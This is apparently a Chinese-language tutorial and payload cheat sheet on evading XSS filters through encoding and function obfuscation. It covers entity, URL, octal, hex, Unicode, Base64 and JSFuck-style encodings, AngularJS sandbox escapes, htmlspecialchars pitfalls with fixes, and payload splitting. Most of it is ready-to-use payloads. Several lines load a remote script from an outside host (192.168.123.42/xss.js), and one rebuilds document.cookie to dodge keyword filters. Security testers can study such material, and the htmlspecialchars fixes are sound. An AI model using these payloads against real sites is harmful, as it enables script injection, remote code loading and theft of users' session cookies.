编码混淆

HTML实体编码

有一些字符在HTML文档中有特殊的含义,例如<>字符。

要在内容中使用这些字符而不被解释为HTML,就可以使用HTML实体。

&#lt;&#60;&#x3c;都可以被解码成常见的小于号 < 。其中 &#lt;叫做实体名称&#60;&#x3c;叫做实体编号(前者为十进制,后者为十六进制),效果其实是一样的。

示例:

1
<a href="javasc&#114;ipt:ale&#114;t(1)">test</a>

image-20211108231434614

注:若需要在地址栏直接输入执行,还需要对其再进行URL编码才可执行。

不能对属性名或事件名进行html编码,否则会导致原先的属性或事件无效。

URL编码

其实url编码就是一个字符ascii码的十六进制。不过稍微有些变动,需要在前面加上“%”。比如“\”,它的ascii码是92,92的十六进制是5c,所以“\”的url编码就是%5c。

但是RFC3986 协议规定encodeURI 方法不会对ASCII字母、数字、~!@#$&*()=:/,;?+’ 编码,所以现在大部分URL编码工具并不会对英文字符进行编码,需要自己手动查表。

URL编码查询表:https://www.w3school.com.cn/tags/html_ref_urlencode.asp

URL编码工具:https://www.iamwawa.cn/urldecode.html

示例:

1
<a h%72ef="javasc%72ipt:ale%72t(1)">test</a>

image-20211109171644848

将参数带入查询时浏览器会自动进行URL解码。

双重编码

有的时候,应用程序会在字符串再次解码之前,对其执行XSS过滤,这样就会给我们留下实现绕过的可乘之机。

字符 双重编码
< %253C
> %253E
( %2528
) %2529
%2522
%2527

JavaScript编码

JS编码广义上就是一般转义字符、八进制转义字符、十六进制转义字符、Unicode编码的表现。

一般转义字符

所有的ASCII码都可以用“\”加数字(一般是8进制数字)来表示。而C中定义了一些字母前加”\”来表示常见的那些不能显示的ASCII字符,如\0,\t,\n等,就称为转义字符,因为后面的字符,都不是它本来的ASCII字符意思了。

转义字符 意义 ASCII码值(十进制)
\a 响铃(BEL) 007
\b 退格(BS) ,将当前位置移到前一列 008
\f 换页(FF),将当前位置移到下页开头 012
\n 换行(LF) ,将当前位置移到下一行开头 010
\r 回车(CR) ,将当前位置移到本行开头 013
\t 水平制表(HT) (跳到下一个TAB位置) 009
\v 垂直制表(VT) 011
\ 代表一个反斜线字符’’\’ 092
\’ 代表一个单引号(撇号)字符 039
\” 代表一个双引号字符 034
\? 代表一个问号 063
\0 空字符(NULL) 000

八进制转义字符

使用三位数字表示,不足位数用0补充,按8位原字符八进制字符编码。

在JavaScript中不能直接使用八进制编码,需要使用eval等函数进行执行。

示例:

1
2
3
4
5
6
7
8
9
<a href="javascript:eval('\141\154\145\162\164\050\061\051');">test</a>

<body onpageshow=content['\141\154\145\162\164'](1)>

<body onpageshow=frames['\x61\x6c\x65\x72\x74'](1)>

<svg/onload=setTimeout('\141\154\145\162\164\50\61\51')>

<svg/onload=setInterval('\141\154\145\162\164\50\61\51')>

十六进制转义字符

使用两位数字表示,不足位数用0补充,按8位原字符16进制字符编码,前缀为 x 。

在JavaScript中不能直接使用十六进制编码,需要使用eval等函数进行执行。

示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<a href="javascript:eval('\x61\x6c\x65\x72\x74\x28\x31\x29');">test</a>

<body onpageshow=content['\x61\x6c\x65\x72\x74'](1)>

<body onpageshow=frames['\x61\x6c\x65\x72\x74'](1)>

<svg/onload=setTimeout('\x61\x6c\x65\x72\x74\x28\x31\x29')>

<svg/onload=Set.constructor`al\x65rt\x281\x29```>

<svg/onload=Map.constructor`al\x65rt\x281\x29```>

<svg/onload=clear.constructor`al\x65rt\x281\x29```>

<svg/onload=Array.constructor`al\x65rt\x281\x29```>

<svg/onload=WeakSet.constructor`al\x65rt\x281\x29```>

Unicode编码

Unicode字符集编码全称:Universal Multiple-Octet Coded Character Set,通用多八位编码字符集。Unicode字符集是国际组织制定的可以容纳世界上所有文字和符号的编码方案。

在JavaScript中Unicode使用四位数字表示,不足为数用0补充,按16位原字符16进制Unicode数值编码,前缀为 u 。

Unicode是可以直接将JavaScript中的函数进行转义并执行的。

示例:

1
2
3
4
5
6
7
<a href="javascript:\u0061\u006c\u0065\u0072\u0074(1)">XSS Test</a>

<a href="javascript:al\u0065rt(1)">XSS Test</a>

<a href="javascript:al\u{65}rt(1)">XSS Test</a>

<svg/onload=\u0073\u0065\u0074\u0049\u006e\u0074\u0065\u0072\u0076\u0061\u006c('\u0061\u006c\u0065\u0072\u0074(1)')>

Unicode编码转换工具:https://oktools.net/unicode

ASCII码

JavaScript中的fromCharCode() 方法可以将ASCII码转换为字符串。

我们可以将转换后的字符串通过eval函数进行执行。

示例:

1
2
3
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>

<body/onload=document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,49,57,50,46,49,54,56,46,49,50,51,46,52,50,47,120,115,115,46,106,115,62,60,47,115,99,114,105,112,116,62))>

ASCII码转换工具:https://www.asciim.cn/m/tools/convert_string_to_ascii.html

Base64编码

Base64是网络上最常见的用于传输8Bit字节码的编码方式之一,Base64就是一种基于64个可打印字符来表示二进制数据的方法。

利用伪协议base64解码执行XSS

1
2
3
4
5
6
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">

<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>

<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></embed>

Base64编码转换工具:https://www.qqxiuzi.cn/bianma/base64.htm

怪异的“乱码”

下列的编码看似“乱码”实际上有规律可循。虽然在实战应用中会因为长度的原因受到种种限制几乎用不到,但是在CTF比赛中却常常能看到。

JSFuck编码

JSFuck仅仅使用6种符号来编写代码。它们分别是()+[]!

image-20211108200213417

编码工具:http://www.jsfuck.com/

JSF$ck编码

JSF$ck是JSFuck的分支版本,使用 +!{}[]$` 代替 +()![]

image-20211108200354765

Github地址:https://github.com/centime/jsfsck

官方的编码网站已经停止运营,国内知晓这个编码的人也少之又少。

Jother编码

只用 ! + ( ) [ ] { } 这八个字符就能完成对任意字符串的编码。

image-20211108201103388

编码工具:https://vulsee.com/tools/jother/index.htm

JJEncode编码

JJEncoder是将JavaScript代码转换成只有符号的字符串编码。

温馨提示:

JJEncode加密后的JavaScript代码非常容易解码。

JJEncode不是实用的代码混淆工具,只是一个编码器。

JJEncode加密后的代码太有特色了,容易被发现的;同时运行加密后的代码依赖于浏览器,不能在某种浏览器上正常运行。

image-20211108201306352

编码工具:https://utf-8.jp/public/jjencode.html

AAEncode编码

AAEncoder是JavaScript代码转换成颜文字网络表情的编码。

image-20211108201941251

编码工具:https://utf-8.jp/public/aaencode.html

常用编码转换工具推荐

函数变形混淆

我们可以将alert(1)函数转换为以下对应形式。

符号替代

括号() 可以由 反引号`来替代;引号”‘ 可以由 斜杠/来替代,.source可以返回被斜杠引用的内容。

1
2
3
4
alert`1`

alert(/1/.source)

数组操作方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[1].find(alert)

[1].findIndex(alert)

[1].some(alert)

[1].every(alert)

[1].forEach(alert)

[1].filter(alert)

[1].map(alert)

(new Map()).set(1,'1').forEach(alert)

(new Set(['1'])).forEach(alert)

正则表达式替换

1
2
3
4
5
6
eval('~a~le~rt~~(~~1~~)~'.replace(/~/g, ''))

eval(/~a~le~rt~~(~~1~~)~/.source.replace(/~/g, new String()))

'1'.replace(/.*/,alert)

窗口对象执行方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
(self)["alert"](1)

(this)["alert"](1)

(window)["alert"](1)

(parrent)["alert"](1)

(top)["alert"](1)

(frames)["alert"](1)

(content)["alert"](1)

(top)[/al/.source+/ert/.source](1)

(self)["\141\154\145\162\164"](1)

(self)[String.fromCharCode(97,108,101,114,116)](1)

字符串转换

1
2
3
4
top[8680439..toString(30)](1)

top[11189117..toString(32)](1)

说明:

  1. alert字符串用parseInt函数,以基数为30转化后为8680439

    parseInt('alert',30) ==> 8680439

  1. toString函数将返回的数字8680439,以基数为30还原

    8680439..toString(30) ==> 'alert'

函数多样调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
alert.call(null,'param')

alert.apply(null,['param'])

alert.bind()('param')"

Reflect.apply(alert,null,['param'])

setTimeout`alert()`

(alert)(1)

`${alert(1)}`

新建函数调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
(function(){alert(1)})()

!function(){alert(1)}()

%2bfunction(){alert(1)}()

%2dfunction(){alert(1)}()

~function(){alert(1)}()

(new Function('alert(1)'))()

Function(alert(1))()

Set.constructor`alert\x281\x29```

function x(){alert(1)};x()

x=x=>{alert(1)},x()

x=x=>{alert(1)},toString=x,window+''

抛出异常

1
2
3
4
5
6
7
8
9
10
try{throw 1}catch(e){alert(e)}

window.onerror=eval;throw'alert(1)'

onerror=alert;throw 1

throw onerror=alert,/1/.source

_=window;_.onerror=_["al"+"ert"];throw[1]

赋值

1
2
3
4
5
6
7
8
9
10
11
12
//变量赋值
top[a='ert',b='al',b+a](1)

//函数赋值
_=alert,_(1)

_=alert;_(1)

_=alert;x=1;_`1`

//属性赋值
<img src=1 alt=al lang=ert onerror=top[alt%2blang](1)>

location对象

location对象的hash属性用于设置或取得 URL 中的锚部分,比如:http://localhost/1.php#alert(1),我们在控制台输入location.hash,则会返回我们设定的,即#alert(1)

再结合slice()substr()等字符串处理函数获取字符串。

1
2
3
4
5
6
7
8
9
10
11
<body/onload=eval(location.hash.slice(1))>#alert(1)

<body/onload=setTimeout(location.hash.substr(1))()>#alert(1)

<body/onload=Set.constructor(location.hash.substr(1))()>#alert(1)

<body/onload=execScript(location.hash.substr(1))>#alert(1)

<body/onload=Function(location.hash.slice(1))()>#alert(1)

<svg onload=eval(URL.slice(-8))>#alert(1)

with函数替代

with用来引用某个特定对象中已有的属性,使用with可以实现通过节点名称的对象调用。

如果.被拦截,可以使用with替代。

1
<svg/onload=with(location)with(hash)eval(alert(1))>

基于DOM的方法创建和插入节点把外部JS文件注入到网页中,也可以应用with

1
<svg/onload="[1].find(function(){with(`docom'|e|'nt`);;body.appendChild(createElement('script')).src='http://192.168.123.42/xss.js'})">

unescape函数解码

unescape()函数用于对已经使用escape()函数编码的字符串进行解码,并返回解码后的字符串。

很多会拦截外部url,比如拦截//

1
<svg/onload=appendChild(createElement('script')).src=unescape('http%3A%2F%2F192.168.123.42%2Fxss.js')>

利用拼接数组函数

concat()不仅仅可以用于连接两个或多个数组,还可以合并两个或者多个字符串。

1
2
<svg/onload=location='javas'.concat('cript:ale','rt(1)')>
<iframe onload=s=createElement('script');body.appendChild(s);s.src='http://v'.\u0063oncat('ps/','js'); >

再补充个有些防护过滤了document.cookie可以试下下面的。

1
document['coo'['CONCAT'.toLowerCase()]('kie')]

join()将数组转换成字符串

1
<iframe onload=location=['javas','cript:al','ert(1)'].join('')>

AngularJS框架

AngularJS是一个很流行的JavaScript框架,通过这个框架可以把表达式放在花括号中嵌入到页面中。例如,表达式1+2=3将会得到1+2=3。其中括号中的表达式被执行了,这就意味着,如果服务端允许用户输入的参数中带有花括号,我们就可以用Angular表达式来进行xss攻击。

表达式沙盒化:
在AngularJS中,沙盒化的目的并不是为了安全,更主要的是为了分离应用,例如,用户在获取window的时候是不被允许的,因为这样可以避免在你的程序中引入全局变量。

但是,如果在表达式被处理之前,有攻击者修改了页面模板,这样的情况沙盒是不会拦截的。也就是说,这种情况下,任何在花括号内的语句都能被执行。

示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{{alert(1)}}

{{constructor.constructor(alert(1))()}}

{{constructor.constructor('\141\154\145\162\164\050\061\051')()}}

{{constructor.constructor(String.fromCharCode(97,108,101,114,116,40,49,41))()}}

{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}


{{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()}}


{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}

Mavo框架

Mavo 是一个扩展自HTML的语言,用以描述应用如何管理,存储和转换数据。

示例:

1
[self.alert(1)]

htmlspecialchars函数不生效的场景

众所周知,PHP中的htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。这样能够有效防止跨站脚本。

有关该函数的用法:https://www.w3school.com.cn/php/func_string_htmlspecialchars.asp

但是在很多场景下htmlspecialchars过滤未必能奏效。

场景一:标签属性(未过滤单引号)

源码如下:

1
2
3
4
5
<?php
$name = $_GET["name"];
$name = htmlspecialchars($name);
?>
<input type='text' value='<?php echo $name?>'>

htmlspecialchars默认配置是不过滤单引号的。只有设置了:quotestyle 选项为ENT_QUOTES才会过滤单引号,如果此时你的输入%27%20onclick=alert(1)%20%27,便可闭合前后单引号,执行js代码。

image-20211111122840855

那么仍然会绕过htmlspecialchars()函数的检查,从而造成一个反射型的xss。

修补方案:

编码双引号和单引号。

1
2
3
$name = htmlspecialchars($name);
修改为
$name = htmlspecialchars($name,ENT_QUOTES);

处理之后,里边的代码就不会被当成js执行。

场景二:script标签之间

源码如下:

1
2
3
4
5
6
7
8
9
10
<meta http-equiv=Content-Type content="text/html;charset=gbk">
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
<?php
$name = $_GET["name"];
echo "<script type='text/javascript'>
$(document).ready(function(){
$('#text').html(".htmlspecialchars($name).");
})
</script>";
?>

image-20211111124025493

修补方案:

此处调用了html()做输出,仅考虑单引号双引号以及尖括号显然已经不够了,还必须得考虑别的因素在里面,此时应该再使用json_encode()函数进行处理。即:

1
2
3
$('#text').html(".htmlspecialchars($name).");
修改为
$('#text').html(".json_encode(htmlspecialchars($name)).");

处理之后,里边的代码就不会被当成js执行。

拆分法绕过长度限制

著名安全研究员剑心曾发布一篇文章叫做《疯狂的跨站之行》,里面讲述了一种特别的Xss利用技巧,就是当应用程序没有过滤Xss关键字符人(如<、>)却对输入字符长度有限制的情况下,如何使用“拆分法”执行跨站脚本代码。

字符变量拆分

我们可以将如下的代码引入一个字符串变量z

1
document.write("<script>alert(/xss/)</script>")

然后分几次将其嵌入到变量Z中,最后通过eval(z)巧妙地执行代码。

1
2
3
4
5
6
7
8
9
<script>z='document.'</script>
<script>z+='write("'</script>
<script>z+='<scrip'</script>
<script>z+='t>'</script>
<script>z+='alert('</script>
<script>z+='/xss/)'</script>
<script>z+='</scrip'</script>
<script>z+='t>")'</script>
<script>eval(z)</script>

image-20211118210306160

由此可见,拆分法跨站的核心是:把跨站代码分成几个片段,然后再使用某种方式将其拼凑在一起执行,这和缓冲区溢出的shellcode的利用方式有异曲同工之妙。

多行注释拆分

可以将<script>alert(/xss/)</script>拆分成如下片段

1
2
3
4
<script>/*
*/alert/*
*/(/xss/)/*
*/</script>

也是可以执行JavaScript脚本的

image-20211118212427363

image-20211118212156264

参考资料